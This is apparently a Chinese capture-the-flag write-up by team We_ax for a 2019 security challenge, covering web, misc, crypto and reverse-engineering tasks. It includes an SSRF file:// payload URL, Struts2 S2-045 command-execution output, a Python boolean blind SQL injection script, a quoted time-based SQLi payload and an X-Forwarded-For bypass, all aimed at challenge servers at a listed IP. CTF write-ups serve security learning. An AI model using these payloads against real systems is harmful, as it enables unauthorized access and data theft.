比赛名称:2019 TechWorld 信息安全挑战赛
战队:We_ax

Web

Web1

.DS_Store 目录信息泄漏
通过工具将网站文件下载后,似乎唯一的线索就是一张叫ctf.jpg的图片,猜测是隐写。
还有一个.git目录,意义不大,文件信息已通过.DS_Store泄漏。
39.106.184.130:8084/CTF_Can_U_Tell_Me_The_Flag/ctf.jpg
图片的这个路径也有.DS_Store文件的,扫描一下可能有东西
git 有泄漏,据说是个假的flag

git log

Web2

Gitlab,version很高,目前网络上找不到现成的漏洞,另寻他法,扫目录发现别人的号,进去看了下,发现root发表的仓库,可以找到源码

<?php
session_start();

function get_contents($url) {

        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
        curl_setopt($curl, CURLOPT_TIMEOUT, 3);
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
        curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); 
        curl_setopt($curl, CURLOPT_PORT, $port);

        $data = curl_exec($curl);

        if (curl_error($curl)) {
            error(curl_error($curl));
        }

        $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
        if ($status >= 301 and $status <= 308) {
            $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
        } else {
            return $data;
        }

    }

function error($s) {
    clear_directory();
    die("<h2><b>ERROR</b></h2> " . htmlspecialchars($s));
}

$msg = "";
if (isset($_GET["url"])&&"0769cdd4c5a9d8142a08373826c87baa"==md5($_GET["pass"])) {
    $msg =  get_contents($_GET["url"]);    
}
?>

<html>
    <head><title>找flag!</title></head>
    <body>
        <form>
            <h1>猜一猜flags在哪里!</h1>
            <p><b>请输入URL:</b></p>
            <p><input type="text" size="100" name="url"></p>
            <p><input type="submit" value="提交"></p>
        </form>
        <?php if (!empty($msg)) echo "<hr><p>" . $msg . "</p>"; ?>
    </body>
</html>

乍一看是ssrf,然而并没有任何过滤,估计都能用file协议,所以聚焦点来到此处

(isset($_GET["url"])&&"0769cdd4c5a9d8142a08373826c87baa"==md5($_GET["pass"]))

大概就是 1 与 一个md5 等于另外的md5,后面这个md5部分可控,1与任何数得任何数,解码md5即可,得到ctfun,之后直接file协议。
payload:http://39.106.184.130:8085/index.php?pass=ctfun&url=file:///flag.txt
flag{c42e23922b2e2964a7b7f971b1e6548b}

Web3

http://39.106.184.130:8083/struts/webconsole.html
Struts控制台,但无法交互(不符合交互条件)
原因详见:http://www.mottoin.com/detail/75.html
Java WEB应用路径泄漏:/usr/local/tomcat/webapps/ROOT/WEB


[] http://39.106.184.130:8083/ 存在漏洞: S2-045
漏洞可利用,可远程执行命令
(利用脚本来源:https://www.cnblogs.com/gsharpsh00ter/p/6517952.html)
[
] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: whoami

tomcat
根目录下存着flag.txt但无权读取:

[] CVE: 2017-5638 - Apache Struts2 S2-045
[
] cmd: cat /flag.txt

cat: /flag.txt: Permission denied

内核:
Linux 5cdbb6d5f3c5 4.15.0-52-generic #56-Ubuntu SMP Tue Jun 4 22:49:08 UTC 2019 x86_64 GNU/Linux
Debian GNU/Linux 9
应该无法提权,放弃


[] http://39.106.184.130:8083/ 存在漏洞: S2-012
[
] http://39.106.184.130:8083/ 存在漏洞: S2-046

目测可使用start.sh,添加了语句进去,sh执行并不能

太秀太秀
tac /flag.txt
flag{ef7c40a69bb58a7699fa27dd2f10f763}

Web5

sql注入,看其样子就是布尔盲注,有waf,可以测试一下过滤,过滤了很多
过滤 like + - # = order "union select" ascii <> table_name
幸好这题只需要拿到database,毕竟table_name都过滤了,
直接上exp

import requests
import string
s = requests.session()
baseurl = "http://39.106.184.130:8082/index.php?id=2"

def get_database():
    database = ""
    base_len = len(s.get(baseurl).text)
    for i in range(1,33):
        for j in string.ascii_lowercase + string.digits:
            url = baseurl + " and substr(database(),{0},1) in ('{1}')".format(str(i),str(j))
            if len(s.get(url).text) == base_len:
                database += str(j)
        if len(database) != i:
            database += "*"
        print(database)
    
if __name__ == '__main__':
    get_database()


截图时候的exp写错了一点,没打到32位,最后一位也是4
flag{deb7cb73f0ea2b2af2d1e3715fd12044}

Web6

简单题,直接改 xxf: 127.0.0.1
flag{sgwxsSesSD232se14sdSVSsx}

Misc

Misc1

把a换成1,空格换成0,得到

发现很有规律

得到
MFTVYYTWJYVVU3TKLJHEUWS5FNWSY2LCPA======
base32解密后得到ag\bvN+ZnjZNJZ]+m,ibx
移5位

Naruto

69 61 6D 70 61 73 73 30 72 64

转ASCII

iampass0rd

从而得知是有密码的隐写
jphs隐写
用上面的密码导出flag

flag{jphid_is_good}

Log analysis

cat access.log | grep -v "404" >> not404.log

过滤掉所有 404 请求
url编码解码得到一堆来自内网的 sql inject
#web手分析一下sql注入语句。

GET /vulnerabilities/sqli_blind/?id=123' AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM dvwa.flag),1,1))>787634,0,5)))))sbAQ)-- whgI&Submit=Submit
http://www.mianhuage.com/686.html
猜测 
' AND (SELECT * FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag ORDER BY flag LIMIT 0,1),38,1))>112,0,1)))))KJQq)--  语句 38表示位数 >112表示判断条件,猜解表名,不断缩小判断范围,最后以!=结束.
有原题。。直接提交flag
flag{3287fe300f28e24aefa2d86883832c9f}

Crypto

Rsa

import binascii
import socket
from Crypto.Util.number import getPrime,bytes_to_long,long_to_bytes
def rsa_get_key(e_1, euler):
    k = 1
    while True:
        if (((euler * k) + 1) % e_1) == 0:
            return (euler * k + 1) // e_1
        k += 1


n=703739435902178622788120837062252491867056043804038443493374414926110815100242619
e=59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
d=362843528015826034116250472435616782986296050195278657613571087702035376387404519
p_1=782758164865345954251810941
p_2=810971978554706690040814093
p_3=1108609086364627583447802163
r=(p_1-1)*(p_2-1)*(p_3-1)
d=rsa_get_key(e,r)


m=pow(c,d,n)
print("m=",m)
b=hex(m)[2:]
print(b)
c=binascii.unhexlify(b)
print(c)

flag{1e257b39a25c6a7c4d66e197}

Reverse

Crackme_High

接收输入,并判断格式

 GetDlgItemTextA(hDlg, 1000, &String, 255);
  v1 = GetDlgItemTextA(hDlg, 1001, &input, 255);
  sscanf(&String, aSDD, &v14, &v33, &v32);
  if ( v1 < 43 || v1 > 77 )
  {
    v2 = 1;
    goto LABEL_6;
  }
  v2 = 0;
  if ( !sub_4066BC(&input, v1) )                // 只能0-9
  {
LABEL_6:
    sprintf(&Caption, aBadCodeD, v2 + 1);
    goto LABEL_7;
  }
  v3 = strlen(&v14);

后边keygenme201906test经过sha256加密得到9629549d4192ce3cc5a637f6cd9e42e4e4a54bd1e33e765a5acf9b0976150b3b
进入RSA函数

int __cdecl RSA(int a1, char *input_string, int strings_0, int string_len, int a5, int a6, int a7)
{
  unsigned int v7; // esi
  int v8; // edi
  signed int v9; // esi
  int out_string[3]; // [esp+8h] [ebp-3Ch]
  int out_input_strings; // [esp+14h] [ebp-30h]
  char v13; // [esp+20h] [ebp-24h]
  char out_end; // [esp+2Ch] [ebp-18h]
  int end_strings[3]; // [esp+38h] [ebp-Ch]

  init(out_string);
  v7 = *(_DWORD *)(a5 + 4);
  v8 = *(_DWORD *)(a5 + 8);
  set_value((int)&out_end, *(_DWORD *)a5);      // v14设为2
  sub_402405((int)end_strings, (int)&out_end, v7);
  mpi_add_int((int)&v13, (int)end_strings, v8); // 0+1
  str2big((int)out_string, strings_0, string_len);// string 是sha256之后的
  if ( mpi_read_string((int)&out_input_strings, 10, input_string)
    || (mpi_add_mpi(end_strings, out_string, &out_input_strings), cmp(end_strings, &v13) > 0) )// cmp判断是否为0
  {
    v9 = 3;
  }
  else
  {
    powmod(&out_end, (int)end_strings, a6, (int)&v13);// powmod  幂求mod  a6=0x11
    set_value((int)end_strings, a7);            // 设置为3
    v9 = cmp(&out_end, end_strings);            // 相等 最后得等于3
  }
  freebig((int)out_string);
  return v9;
}

输入字符串从10进制换成16进制后跟9629549d4192ce3cc5a637f6cd9e42e4e4a54bd1e33e765a5acf9b0976150b3b相加
e=0x11
n=0x10000000000000000000000000000000000000000000000000000000000000001
经过加密后跟3对比.
写解密脚本

最终得到
20147921867919287621000423135750575019160522385541100256929307093535644366653
即flag

Crackme_Mid****dle

v3 = a3;
  result = a3[64];
  v5 = a3[65];
  v6 = a3[66];
  v16 = a1;
  if ( a2 )
  {
    v15 = a2;
    while ( 1 )
    {
      v19 = (result + 1) & 0x3F;
      v7 = &v3[v19];
      v17 = (v3[v19] + v5) & 0x3F;
      v8 = &v3[v17];
      v18 = (v19 + *v8) & 0x3F;
      v9 = *v16;
      v10 = *v7 ^ *v8;
      *v7 ^= v10;
      *v8 ^= v10;
      v11 = &v3[v18];
      v12 = *v7 ^ *v11;
      *v7 ^= v12;
      *v11 ^= v12;
      v13 = v16++;
      v14 = v15-- == 1;
      *v13 = v9 - ((*v7 + *v8 + *v11) & 0x3F);
      if ( v14 )
        break;
      v5 = v17;
      result = v19;
    }
    v6 = v18;
    v5 = v17;
    result = v19;
  }
  v3[66] = v6;
  v3[64] = result;
  v3[65] = v5;
  return result;
}

生成一堆数,输入字符串与之相减,最后对比。

q = [0x35,0xd,0xe,0x3a,0x0a,0x3f,0x00,0x1e,0x1e,0x1c,0x22,0x27,0x08,0x12,0x1c,0x09]
i = [0x2E,0x67,0x58,0x29,0x65,0x25,0x65,0x46,0x14,0x14,0x0F,0x12,0x28,0x24,0x15,0x2D]
flag = ""

for u in range(len(i)):

flag += chr(q[u]+i[u])

print (flag)

得ctfcoded20190616